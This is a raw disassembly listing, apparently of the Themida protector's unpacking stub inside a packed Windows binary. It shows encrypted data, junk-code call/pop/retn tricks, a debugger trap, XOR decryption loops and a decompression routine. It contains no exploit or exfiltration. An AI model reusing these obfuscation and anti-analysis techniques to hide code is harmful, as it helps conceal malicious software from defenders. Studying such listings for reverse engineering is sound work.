dd 320865C3h, 83CEEB47h, 12216DBDh, 840F0006h, 4Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 1D61958Bh
dd 95FF0612h, 6121C5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 75C35545h, 664DB4DCh, 83A7EDBBh, 122855BDh
dd 850F0006h, 16Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0C4C35343h, 82A327CEh, 13B99D8Bh, 0BD830612h
dd 6120EE9h, 3A850F01h, 89000001h, 122DAD95h, 0C800F06h
dd 0F000000h, 680h, 95850900h, 83061223h, 123465BDh, 840F0006h
dd 115h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 9FC35040h, 0FAEE3C0Dh, 0B00ABAA0h, 4E35BD83h, 0F000612h
dd 0E484h, 8BD38100h, 8D568764h, 14A6D085h, 299D8B06h
dd 8B061200h, 124DE2B5h, 75B58906h, 0FF061213h, 0C65A50D0h
dd 1215C185h, 0DB815406h, 51453B88h, 49D31168h, 81BDB6F7h
dd 0EBE32404h, 0F48A0804h, 17F1B5FFh, 958B0612h, 6122F19h
dd 3B48858Dh, 8B600612h, 121861BDh, 58F55106h, 6AD0FF61h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0D3EFC352h, 5BA9F0D8h, 6A0070h, 18E19D8Bh
dd 0FF6A0612h, 7519589h, 0D0FF0612h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 97C35242h, 0B5FF14C2h, 6120F0Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 24C35545h
dd 9B14984Fh, 3D95FF1Ah, 8906122Eh, 1214F9BDh, 0E2B58B06h
dd 5206124Dh, 8E8h, 2EDB2000h, 17D79611h, 45958B68h, 5B061226h
dd 6AC35Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 667FBFC3h, 0B58BD78Bh, 61218A9h, 2D9D2957h
dd 5A061215h, 840FF60Bh, 42h, 9CEB8166h, 6C6F5h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h, 0D6638265h
dd 0D529E5C9h, 0AE8h, 0A966F600h, 25EFB521h, 298D15A5h
dd 1225BD95h, 85895A06h, 6124DEAh, 2989958Bh, 0D68B0612h
dd 0F00F883h, 30384h, 0B800h, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 29DFB3C3h
dd 0F00F883h, 0C684h, 0D98B6600h, 140214BBh, 2F88341h
dd 69850Fh, 6E80000h, 29000000h, 0F3674F39h, 0E1958B5Dh
dd 5A061226h, 4465858Dh, 0FCBA0612h, 2D0893CAh, 929h, 4459589h
dd 66600612h, 0F08AD68Bh, 5E99061h, 3000000h, 12F53AEBh
dd 8E85350h, 76000000h, 57F4226h, 66CDC5F9h, 5BDA20BBh
dd 8529905Ah, 612277Dh, 7E9h, 0A9FAD00h, 929B0CE3h, 0A59D8BC3h
dd 0B806120Ch, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_582F07
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582F07 proc near ; CODE XREF: Themida_:00582EFFp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_582F07 endp
; ---------------------------------------------------------------------------
xor esp, [edi+57h]
jle loc_582F24
mov bx, 1B8Fh
loc_582F24: ; CODE XREF: Themida_:00582F1Aj
jmp loc_582F38
; ---------------------------------------------------------------------------
db 1Dh, 6Fh, 0Ch
dd 0D5E003C7h, 61D75094h, 7F2DB4FCh
; ---------------------------------------------------------------------------
loc_582F38: ; CODE XREF: Themida_:loc_582F24j
jmp loc_583154
; ---------------------------------------------------------------------------
and ebx, 7A6B1CCDh
mov eax, 1
sub [ebp+61214EDh], eax
lea edi, [ebp+612446Ah]
cmc
jmp loc_583007
; ---------------------------------------------------------------------------
adc dl, 58h
cmp eax, 2
jnz loc_582F81
add [ebp+6122FD9h], edx
lea edi, [ebp+6124662h]
sub bx, 0DF18h
jmp loc_583007
; ---------------------------------------------------------------------------
adc bx, 0D8EBh
loc_582F81: ; CODE XREF: Themida_:00582F60j
cmp eax, 3
jnz loc_582FE7
mov [ebp+6120819h], esi
xor edx, [ebp+612173Dh]
lea edi, [ebp+61247F6h]
push 0
push ebx
call sub_582FA7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_582FA7 proc near ; CODE XREF: Themida_:00582F9Fp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_582FA7 endp
; ---------------------------------------------------------------------------
db 0A2h
dd 1B358FE8h, 952902D7h, 6122A9Dh, 2C518D89h, 0AE80612h
dd 75000000h, 0F6F05F62h, 0D391F37Bh, 5BCEB39Ah, 26E9h
dd 0E9BD8900h
; ---------------------------------------------------------------------------
adc al, es:[esi]
loc_582FE7: ; CODE XREF: Themida_:00582F84j
cmp eax, 5
jnz loc_583007
jnb loc_582FFC
mov ebx, [ebp+6122975h]
loc_582FFC: ; CODE XREF: Themida_:00582FF0j
jmp loc_58308A
; ---------------------------------------------------------------------------
mov [ebp+61233E9h], ebx
loc_583007: ; CODE XREF: Themida_:00582F55j
; Themida_:00582F77j ...
push edi
push 0
push esi
call sub_583013
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583013 proc near ; CODE XREF: Themida_:0058300Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_583013 endp
; ---------------------------------------------------------------------------
push 0FFFFFFECh
pop ecx
clc
mov bl, 37h
sub [ebp+6121FCDh], ebx
mov ecx, 61D49BE7h
mov ebx, 7A2FEEB8h
loc_583039: ; CODE XREF: Themida_:0058307Ej
cmp dword ptr [edi], 0
jz loc_58308A
mov edx, 51220428h
sub ebx, 230FED44h
xor [edi], cl
jmp loc_58305E
; ---------------------------------------------------------------------------
test edi, eax
xor [ebp+47h], ecx
int 3 ; Trap to Debugger
nop
daa
test eax, edx
loc_58305E: ; CODE XREF: Themida_:0058304Fj
ror ecx, 1
jmp loc_583077
; ---------------------------------------------------------------------------
db 8Dh, 0F3h, 63h
; ---------------------------------------------------------------------------
push ecx
sbb ch, [edi-7Dh]
stc
pop ebx
and [ebx], al
retf
; ---------------------------------------------------------------------------
or [esi+612C8C9Ch], ebx
loc_583077: ; CODE XREF: Themida_:00583060j
inc edi
mov [ebp+6120275h], esi
jmp loc_583039
; ---------------------------------------------------------------------------
adc bx, 2F55h
mov bl, dh
loc_58308A: ; CODE XREF: Themida_:loc_582FFCj
; Themida_:0058303Cj
cmp eax, 5
jnz loc_583154
push 0
push eax
call sub_58309E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58309E proc near ; CODE XREF: Themida_:00583096p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_58309E endp
; ---------------------------------------------------------------------------
pop ss
setalc
cmc
db 66h, 2Eh
mov dh, 56h
xor dl, 6
pop ebx
mov cx, ds
push 0
push ebp
call sub_5830C7
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5830C7 proc near ; CODE XREF: Themida_:005830BFp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5830C7 endp
; ---------------------------------------------------------------------------
db 59h
dd 0C1F6FC1Dh, 2E850F04h, 50000000h, 13E8h, 7C72B600h
dd 9408B7CCh, 26D5FAC5h, 87F178A7h, 0C4E57209h, 0B85B5Ah
dd 8B000000h, 1227CD9Dh, 46E906h, 8B660000h, 0E9858BD7h
dd 6A061228h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0DB17C350h, 0F6EC387h, 681h, 0A9958900h
dd 8006121Fh, 0E0FF46DAh, 275958Bh, 0BD290612h, 61226B5h
; ---------------------------------------------------------------------------
loc_583154: ; CODE XREF: Themida_:00582571j
; Themida_:loc_582F38j ...
cmp dword ptr [ebp+6122E3Dh], 0
jnz loc_58327D
push 0
push ebx
call sub_58316C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58316C proc near ; CODE XREF: Themida_:00583164p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_58316C endp
; ---------------------------------------------------------------------------
pop ecx
lahf
push es
popf
xor al, 0BDh
nop
mov bh, 65h
push eax
js loc_583191
mov edx, 2778E4A4h
loc_583191: ; CODE XREF: Themida_:00583186j
nop
push 0
push edx
call sub_58319D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58319D proc near ; CODE XREF: Themida_:00583195p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_58319D endp
; ---------------------------------------------------------------------------
scasd
stosb
push esi
mov bl, 25h
mov eax, ds:6660252Bh
mov edx, 0B589F8AEh
popf
xor dl, [edx]
push es
popa
mov byte ptr [ebp+61215C1h], 45h
jmp loc_5831D2
; ---------------------------------------------------------------------------
db 58h, 0E4h, 0AAh
db 0BDh, 0FDh
; ---------------------------------------------------------------------------
loc_5831D2: ; CODE XREF: Themida_:005831C8j
call near ptr loc_5831D7+4
loc_5831D7: ; CODE XREF: Themida_:loc_5831D2p
imul ebp, [ecx+72h], 0BE98Eh
; ---------------------------------------------------------------------------
dw 0
dd 0D4B708D0h, 87C9F86Dh, 509A7F91h, 448B77B2h, 66560424h
dd 5BD2EABAh, 0D68B008Bh, 4244489h, 16CB8158h, 0FF29CEDBh
dd 1217F1B5h, 14E906h, 687F0000h, 0A4C69E73h, 44D31BF1h
dd 0EBA92081h, 0AFD4E958h, 858D8DB5h, 6123B48h, 0D0FFDA8Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 73C35545h
dd 70186DF4h, 7F6D2527h, 0E5C6D281h, 858937AAh, 6122E3Dh
dd 3041958Bh, 0E9580612h, 11h, 0E0C08DFh, 297BF4B1h, 75A47A93h
dd 99BB7D0Bh
; ---------------------------------------------------------------------------
push es
loc_58327D: ; CODE XREF: Themida_:0058315Bj
cmp dword ptr [ebp+6124E39h], 0
jz loc_5832AC
mov ebx, ecx
push dword ptr [ebp+6120F0Dh]
add [ebp+6122DBDh], edx
call dword ptr [ebp+6122E3Dh]
push esi
mov [ebp+612189Dh], esi
pop ebx
mov [ebp+6122CE9h], edx
loc_5832AC: ; CODE XREF: Themida_:00583284j
cmp eax, 0
jnz loc_5833B0
xor bh, 8Fh
cmp dword ptr [ebp+612309Dh], 0
jz loc_58332E
push 0
push edi
call sub_5832D0
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5832D0 proc near ; CODE XREF: Themida_:005832C8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5832D0 endp
; ---------------------------------------------------------------------------
sub ecx, [edi]
mov edi, 9DB5FFDEh
xor [edx], dl
push es
push 0
push esi
call sub_5832F5
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5832F5 proc near ; CODE XREF: Themida_:005832EDp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5832F5 endp
; ---------------------------------------------------------------------------
setalc
mov [ebp+6120F31h], edx
pusha
push ebx
movzx esi, di
pop edi
movzx edx, bx
popa
mov eax, 1
push esi
mov ebx, [ebp+6122379h]
pop ebx
jmp loc_583571
; ---------------------------------------------------------------------------
add [ebp+6120C41h], edx
loc_58332E: ; CODE XREF: Themida_:005832BFj
push dword ptr [ebp+6120F0Dh]
push 0
push esi
call sub_58333F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58333F proc near ; CODE XREF: Themida_:00583337p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_58333F endp
; ---------------------------------------------------------------------------
fistp dword ptr [edi-4Dh]
fcomp qword ptr [edx+4B98ECBBh]
inc dword ptr [ecx+773725F2h]
xor al, 0FFh
mov ch, 0Dh
movlps xmm0, qword ptr [esi]
add bl, 63h
push dword ptr [ebp+6122E3Dh]
mov [ebp+61227E5h], ecx
add dl, 6Ch
jmp loc_583571
; ---------------------------------------------------------------------------
push 0
push edi
call sub_583387
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583387 proc near ; CODE XREF: Themida_:0058337Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_583387 endp
; ---------------------------------------------------------------------------
db 2Ah
dd 8F814D93h, 0F77CAB54h, 0FF560A1h, 68Ah, 159D8900h, 61061220h
; ---------------------------------------------------------------------------
loc_5833B0: ; CODE XREF: Themida_:005832AFj
pop edi
add [ebp+6122551h], ecx
cmp dword ptr [ebp+6122D09h], 0
jnz loc_583465
push 0
push ebx
call sub_5833CF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5833CF proc near ; CODE XREF: Themida_:005833C7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5833CF endp
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
push 0A0239B6Bh
jmp loc_5833F3
; ---------------------------------------------------------------------------
dw 7A0Ch
dd 6E7BE347h
; ---------------------------------------------------------------------------
mov ebp, esi
das
loc_5833F3: ; CODE XREF: Themida_:005833E5j
mov byte ptr [ebp+61215C1h], 4Dh
mov ebx, [ebp+6121C4Dh]
push 8BEC24E4h
mov bh, dh
add dword ptr [esp], 184951C4h
js loc_583417
mov bx, di
loc_583417: ; CODE XREF: Themida_:0058340Ej
push dword ptr [ebp+612335Dh]
mov [ebp+61210BDh], eax
lea eax, [ebp+6123B48h]
push 0
push edi
call sub_583434
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583434 proc near ; CODE XREF: Themida_:0058342Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_583434 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
and [edi], ecx
mov [ebp+61226DDh], edi
call eax
push edx
mov ebx, ecx
pop ebx
mov edx, [ebp+6120B95h]
mov [ebp+6122D09h], eax
adc ebx, 4302FC14h
loc_583465: ; CODE XREF: Themida_:005833BEj
mov eax, 0
push 0
push ebx
call sub_583475
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583475 proc near ; CODE XREF: Themida_:0058346Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_583475 endp
; ---------------------------------------------------------------------------
mov al, ds:0A729079Fh
inc ebp
stc
test esp, esp
add [ecx+124DE2BDh], ecx
push es
push 0
push ebp
call sub_5834A0
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5834A0 proc near ; CODE XREF: Themida_:00583498p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5834A0 endp
; ---------------------------------------------------------------------------
dd 0EEDEB2D3h, 0C86F19A4h, 800F89E6h, 6, 33B5958Bh, 0C00B0612h
dd 42840Fh, 0F500000h, 8B5ADEB7h, 1214A595h, 93E906h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 108712C3h, 830F81B9h, 6, 24E19533h, 0BD310612h, 612189Dh
dd 2E3DB5FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0E6807EC3h, 0D0858D05h, 890614A6h
dd 121D9DBDh, 0BB669006h, 6650BD13h, 901C0EBAh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E7C35747h, 89DF8B66h
dd 12189DBDh
; ---------------------------------------------------------------------------
push es
loc_583571: ; CODE XREF: Themida_:00583323j
; Themida_:00583377j
push eax
push esi
lea edi, [ebp+612562Fh]
lea ecx, [ebp+6127AACh]
mov eax, 748323BCh
sub ecx, edi
loc_583586: ; CODE XREF: Themida_:0058358Cj
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_583586
pop esi
pop eax
cmp dword ptr [ebp+612309Dh], 0
jz short loc_58359F
mov ecx, [ebp+6120901h]
loc_58359F: ; CODE XREF: Themida_:00583597j
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_583656
cmp dword ptr [ebp+6120B55h], 0
jz short loc_5835BD
call dword ptr [ebp+6121D65h]
loc_5835BD: ; CODE XREF: Themida_:005835B5j
mov eax, 0
or eax, eax
jnz short loc_5835CF
cmp dword ptr [ebp+6124DEAh], 1
jz short loc_5835D8
loc_5835CF: ; CODE XREF: Themida_:005835C4j
cmp dword ptr [ebp+6124DEAh], 2
jnz short loc_5835E6
loc_5835D8: ; CODE XREF: Themida_:005835CDj
mov esi, [ebp+6124DE2h]
lea eax, [ebp+614A6D0h]
call eax
loc_5835E6: ; CODE XREF: Themida_:005835D6j
cmp dword ptr [ebp+612216Dh], 0
jz short loc_5835F5
call dword ptr [ebp+6121C5Dh]
loc_5835F5: ; CODE XREF: Themida_:005835EDj
lea eax, [ebp+61243F6h]
call eax
cmp dword ptr [ebp+6122561h], 2
jnz short loc_583635
mov esp, [ebp+6121D79h]
mov eax, [ebp+612309Dh]
mov [esp], eax
mov dword ptr [ebp+6122E51h], 1
mov esi, [ebp+6124DE6h]
mov ebp, [ebp+61218FDh]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_583635: ; CODE XREF: Themida_:00583604j
mov dword ptr [ebp+6122E51h], 1
mov esp, [ebp+6121D79h]
mov esi, [ebp+61221A1h]
mov ebp, [ebp+61218FDh]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_583656: ; CODE XREF: Themida_:005835A8j
cmp dword ptr [ebp+612216Dh], 0
jz short loc_58366E
cmp dword ptr [ebp+6121C5Dh], 0
jz short loc_58366E
call dword ptr [ebp+6121C5Dh]
loc_58366E: ; CODE XREF: Themida_:0058365Dj
; Themida_:00583666j
mov esi, [ebp+6124DE2h]
retn
; ---------------------------------------------------------------------------
push 0
push edx
call sub_583680
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583680 proc near ; CODE XREF: Themida_:00583678p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_583680 endp
; ---------------------------------------------------------------------------
push ebp
and ebx, [ebp+612122Dh]
or [ebp+612267Dh], ebx
movsx edx, ax
sub edx, edx
mov [ebp+6122919h], ebx
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_5836B8
; ---------------------------------------------------------------------------
loc_5836B6: ; CODE XREF: Themida_:005836BBj
inc eax
inc edi
loc_5836B8: ; CODE XREF: Themida_:005836B4j
cmp byte ptr [edi], 0
jnz short loc_5836B6
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_5836E7
; ---------------------------------------------------------------------------
loc_5836C4: ; CODE XREF: Themida_:005836E9j
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_5836DC
; ---------------------------------------------------------------------------
loc_5836D9: ; CODE XREF: Themida_:005836DFj
mul ebx
dec esi
loc_5836DC: ; CODE XREF: Themida_:005836D7j
cmp esi, 0
ja short loc_5836D9
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_5836E7: ; CODE XREF: Themida_:005836C2j
or eax, eax
jnz short loc_5836C4
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
push 0
push esi
call sub_583700
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583700 proc near ; CODE XREF: Themida_:005836F8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_583700 endp
; ---------------------------------------------------------------------------
sbb eax, 0DA6FDFAh
frstor byte ptr [edx]
push eax
push ebp
xor esp, [esi-75h]
fisubr dword ptr [edx+0]
push edx
call sub_583728
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_583728 proc near ; CODE XREF: Themida_:00583720p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_583728 endp
; ---------------------------------------------------------------------------
pop ds
add [ebx], ch
loc_58373B: ; CODE XREF: Themida_:loc_580917j
mov eax, ecx
jmp loc_5838EF
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_58374E: ; CODE XREF: Themida_:loc_583766j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_583759: ; CODE XREF: Themida_:005837E4j
; Themida_:0058384Cj ...
add dl, dl
jnz loc_583766
mov dl, [esi]
inc esi
adc dl, dl
loc_583766: ; CODE XREF: Themida_:0058375Bj
jnb loc_58374E
add dl, dl
jnz loc_583779
mov dl, [esi]
inc esi
adc dl, dl
loc_583779: ; CODE XREF: Themida_:0058376Ej
jnb loc_5837E9
xor eax, eax
add dl, dl
jnz loc_58378E
mov dl, [esi]
inc esi
adc dl, dl
loc_58378E: ; CODE XREF: Themida_:00583783j
jnb loc_5838BE
add dl, dl
jnz loc_5837A1
mov dl, [esi]
inc esi
adc dl, dl
loc_5837A1: ; CODE XREF: Themida_:00583796j
adc eax, eax
add dl, dl
jnz loc_5837B0
mov dl, [esi]
inc esi
adc dl, dl
loc_5837B0: ; CODE XREF: Themida_:005837A5j
adc eax, eax
add dl, dl
jnz loc_5837BF
mov dl, [esi]
inc esi
adc dl, dl
loc_5837BF: ; CODE XREF: Themida_:005837B4j
adc eax, eax
add dl, dl
jnz loc_5837CE
mov dl, [esi]
inc esi
adc dl, dl
loc_5837CE: ; CODE XREF: Themida_:005837C3j
adc eax, eax
jz loc_5837DC
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_5837DC: ; CODE XREF: Themida_:005837D0j
mov [edi], al
inc edi
mov ebx, 2
jmp loc_583759
; ---------------------------------------------------------------------------
loc_5837E9: ; CODE XREF: Themida_:loc_583779j
mov eax, 1
loc_5837EE: ; CODE XREF: Themida_:loc_58380Aj
add dl, dl
jnz loc_5837FB
mov dl, [esi]
inc esi
adc dl, dl
loc_5837FB: ; CODE XREF: Themida_:005837F0j
adc eax, eax
add dl, dl
jnz loc_58380A
mov dl, [esi]
inc esi
adc dl, dl
loc_58380A: ; CODE XREF: Themida_:005837FFj
jb loc_5837EE
sub eax, ebx
mov ebx, 1
jnz loc_583851
mov ecx, 1
loc_583822: ; CODE XREF: Themida_:loc_58383Ej
add dl, dl
jnz loc_58382F
mov dl, [esi]
inc esi
adc dl, dl
loc_58382F: ; CODE XREF: Themida_:00583824j
adc ecx, ecx
add dl, dl
jnz loc_58383E
mov dl, [esi]
inc esi
adc dl, dl
loc_58383E: ; CODE XREF: Themida_:00583833j
jb loc_583822
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_583759
; ---------------------------------------------------------------------------
loc_583851: ; CODE XREF: Themida_:00583817j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_58385F: ; CODE XREF: Themida_:loc_58387Bj
add dl, dl
jnz loc_58386C
mov dl, [esi]
inc esi
adc dl, dl
loc_58386C: ; CODE XREF: Themida_:00583861j
adc ecx, ecx
add dl, dl
jnz loc_58387B
mov dl, [esi]
inc esi
adc dl, dl
loc_58387B: ; CODE XREF: Themida_:00583870j
jb loc_58385F
cmp eax, 7D00h
jnb loc_5838AE
cmp eax, 500h
jb loc_5838A5
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_583759
; ---------------------------------------------------------------------------
loc_5838A5: ; CODE XREF: Themida_:00583891j
cmp eax, 7Fh
ja loc_5838B1
loc_5838AE: ; CODE XREF: Themida_:00583886j
add ecx, 2
loc_5838B1: ; CODE XREF: Themida_:005838A8j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_583759
; ---------------------------------------------------------------------------
loc_5838BE: ; CODE XREF: Themida_:loc_58378Ej
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_5838E3
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_583759
; ---------------------------------------------------------------------------
loc_5838E3: ; CODE XREF: Themida_:005838C6j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_5838EF: ; CODE XREF: Themida_:0058373Dj
mov edx, 929h
jmp loc_5A5778
; ---------------------------------------------------------------------------
dd offset dword_5FB688
db 1Bh, 0, 6Eh
dd 6E002302h, 5F9B4202h, 0
dd 12FEF400h, 5FB68800h, 20600h, 200h, 100h, 600h, 45BADA00h
dd 0FAh, 4 dup(0)
dd 5880BF00h, 584AD600h, 58BDA800h, 58C51400h, 58C5E600h
dd 58A5DB00h, 58B37400h, 58558900h, 5850F500h, 58F88D00h
dd 58986100h, 58EDDF00h, 583FA400h, 58DF1100h, 586AE000h
dd 5877CE00h, 58A36000h, 58AF8B00h, 58CD3000h, 584C4700h
dd 589FB300h, 5842B000h, 5858CD00h, 586AC600h, 58712D00h
dd 58564600h, 58777D00h, 58DE6C00h, 583D8100h, 58851F00h
dd 58EBF300h, 58CFE900h, 5842D400h, 58EF4C00h, 58C94B00h
dd 58450D00h, 58A71800h, 583E5200h, 5843AC00h, 5897A200h
dd 58F8B200h, 583F4E00h, 58F02400h, 58407A00h, 5898E000h
dd 58AA7000h, 584A2400h, 58401C00h, 58576E00h, 58A32600h
dd 587AD600h, 58743000h, 58815700h, 58A88C00h, 58FDCD00h
dd 586A9300h, 58988000h, 58BA2100h, 58485200h, 58ACFA00h
dd 5890AD00h, 58B45C00h, 58F4FC00h, 58E13600h, 5856B200h
dd 58869400h, 58C1DC00h, 58708100h, 589E8100h, 58BFE700h
dd 58A9ED00h, 58AD5800h, 58E70000h, 58E25C00h, 584DC000h
dd 58E2B100h, 58D38E00h, 5865C600h, 58B45100h, 583FD900h
dd 584D6800h, 58C47E00h, 58453100h, 588F4200h, 583E4A00h
dd 588EEE00h, 58BBCD00h, 5854EB00h, 58BA2A00h, 58522400h
dd 58EC4000h, 58919100h, 58FA8F00h, 58482600h, 586F9400h
dd 58A75300h, 5884B500h, 58583800h, 5864E000h, 58419200h
dd 589CAF00h, 583EF200h, 58F04100h, 583EA700h, 58F78A00h
dd 58F7A000h, 58951200h, 584F7D00h, 58F3E000h, 58717A00h
dd 58883D00h, 58CAA200h, 58FEED00h, 58581900h, 58B8F400h
dd 588B6100h, 5870CB00h, 58702500h, 58578500h, 58624D00h
dd 58A87B00h, 586B3100h, 58B55100h, 58F0A500h, 58E88A00h
dd 58E09800h, 5857D400h, 5877C300h, 583D3200h, 58F68E00h
dd 5856DF00h, 5879AF00h, 58BD2200h, 589FCD00h, 58C77B00h
dd 587E7400h, 58852E00h, 58742200h, 587FA900h, 58626D00h
dd 58DE1200h, 584F6E00h, 585F4300h, 58B6D200h, 58F4BC00h
dd 58B61300h, 58AB0200h, 58709B00h, 58DA7B00h, 58971D00h
dd 587C5600h, 58EF0200h, 58DC9600h, 58487A00h, 58BE8A00h
dd 58F97000h, 58711900h, 5878DC00h, 58DFF900h, 585BD100h
dd 589B7200h, 58737600h, 5857E000h, 587B0C00h, 58F2DD00h
dd 58F64600h, 58F8BF00h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B5756
loc_583BD9: ; CODE XREF: Themida_:005A57D5j
; Themida_:005A57DFj ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6128107h
mov eax, edi
add edi, 6127E1Fh
cmp eax, [edi+2Ch]
jnz short loc_583BF7
jmp short loc_583C0A
; ---------------------------------------------------------------------------
loc_583BF7: ; CODE XREF: sub_5B5756-31B63j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_583C06
; ---------------------------------------------------------------------------
loc_583C01: ; CODE XREF: sub_5B5756-31B4Ej
add [edi+ecx*4+40h], eax
dec ecx
loc_583C06: ; CODE XREF: sub_5B5756-31B57j
or ecx, ecx
jnz short loc_583C01
loc_583C0A: ; CODE XREF: sub_5B5756-31B61j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_583C17: ; CODE XREF: sub_5B5756-31B38j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_583C17
loc_583C20: ; CODE XREF: Themida_:loc_583D0Dj
; Themida_:loc_583DD1j ...
lodsb
sub al, 9Fh
sub al, 0CEh
add al, 4Eh
add al, bl
